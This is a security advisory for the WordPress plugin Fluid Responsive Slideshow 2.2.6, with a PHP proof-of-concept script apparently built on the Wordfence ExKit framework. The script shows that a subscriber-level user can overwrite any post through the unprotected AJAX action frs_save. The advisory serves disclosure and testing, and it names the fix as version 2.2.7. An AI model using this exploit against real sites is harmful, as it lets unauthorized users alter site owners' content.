Fluid Responsive Slideshow [Unauthorized Content Modification]
Description
Plugin Fluid Responsive Slideshow allows an attacker to modify any post’s content to include arbitrary content with only Subscriber-level authentication.
It registers the AJAX action frs_save
but does not perform any check
to verify a nonce or validate permissions, which allows any
authenticated user to alter the content of any post for which the ID
is known.
PoC
#!/usr/bin/env php
<?php
/*
* Exploit Title: Fluid Responsive Slideshow [Unauthorized Content Modification]
* CVSS Severity Score: 4.1 (Medium)
* CVSS Vector: CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:N/I:L/A:N
* Discovery Date: 2016-04-03
* Exploit Author: Jouko Pynnönen
* Author URL: https://klikki.fi/adv/fluid_responsive_slideshow.html
* Vendor Homepage: http://sangarslider.com/
* Software Link: https://wordpress.org/plugins/fluid-responsive-slideshow/
* WordPress SVN Repo: https://plugins.svn.wordpress.org/fluid-responsive-slideshow/
* Version: 2.2.6
* Tested on: WordPress 4.5.2
* Category: WebApps, WordPress
* DWF ID:
* Description: Exploits an improper authentication check in the AJAX action "frs_save".
* PoC: See below.
* Solution: Restrict this action to authorized users only and verify the user should be able to edit the post for the ID given.
*/
require __DIR__ . DIRECTORY_SEPARATOR . 'vendor' . DIRECTORY_SEPARATOR . 'autoload.php';
use Wordfence\ExKit\WPAuthentication;
use Wordfence\ExKit\Config;
use Wordfence\ExKit\Cli;
use Wordfence\ExKit\Endpoint;
use Wordfence\ExKit\WPNonce;
use Wordfence\ExKit\ExitCodes;
use Wordfence\ExKit\Page;
if (@Cli::options()['help'])
{
Cli::write('This exploit tests for:' . PHP_EOL .
'1. Any authenticated user can use the AJAX action "frs_save" to modify any post.'
);
exit(ExitCodes::EXIT_CODE_INFORMATIONAL_ONLY);
}
$baseURL = Endpoint::baseURL();
$session = new \Requests_Session();
$postID = Config::get('fluid-responsive-slideshow-1.postid', null, true, 'Post ID');
//Log in an administrator
WPAuthentication::logInAsUserRole($session, 'administrator');
//Test authorized access
$token = md5(time());
$r = $session->post(Endpoint::adminAjaxURL(),[], ['action' => 'frs_save', 'post_id' => $postID, 'title' => 'Exploit Test', 'content' => $token]);
if (!$r->success) {
Cli::write('[-] False positive: Authorized access failed', 'red', null);
exit(ExitCodes::EXIT_CODE_VALID_REQUEST_FAILED);
}
Cli::write("[*] Verifying valid request...", null, null);
$r = $session->get($baseURL . '?p=' . $postID);
if (!$r->success || strpos($r->body, $token) === false) {
Cli::write('[-] Unable to verify valid request', 'yellow', null);
exit(ExitCodes::EXIT_CODE_VALID_REQUEST_FAILED);
}
Cli::write("[+] Authorized access succeeded", 'green', null);
//Log in a subscriber
$session = new \Requests_Session();
WPAuthentication::logInAsUserRole($session, 'subscriber');
//Test unauthorized access
$token = md5(time() . 'unauthorized');
$r = $session->post(Endpoint::adminAjaxURL(),[], ['action' => 'frs_save', 'post_id' => $postID, 'title' => 'Exploit Test', 'content' => $token]);
if (!$r->success) {
Cli::write('[-] Unauthorized access failed', 'green', null);
exit(ExitCodes::EXIT_CODE_EXPLOIT_FAILED);
}
Cli::write("[*] Verifying exploit...", null, null);
$r = $session->get($baseURL . '?p=' . $postID);
if (!$r->success || strpos($r->body, $token) === false) {
Cli::write('[-] Unable to verify exploit', 'yellow', null);
exit(ExitCodes::EXIT_CODE_EXPLOIT_FAILED);
}
Cli::write("[+] Unauthorized access succeeded", 'red', null);
exit(ExitCodes::EXIT_CODE_EXPLOIT_SUCCEEDED);
Solution
Update to 2.2.7 or newer.
INFO
- 3 April 2016
- Jouko Pynnönen
- sangarslider.com
- Fluid Responsive Slideshow
- 2.2.6
- WordPress 4.5.2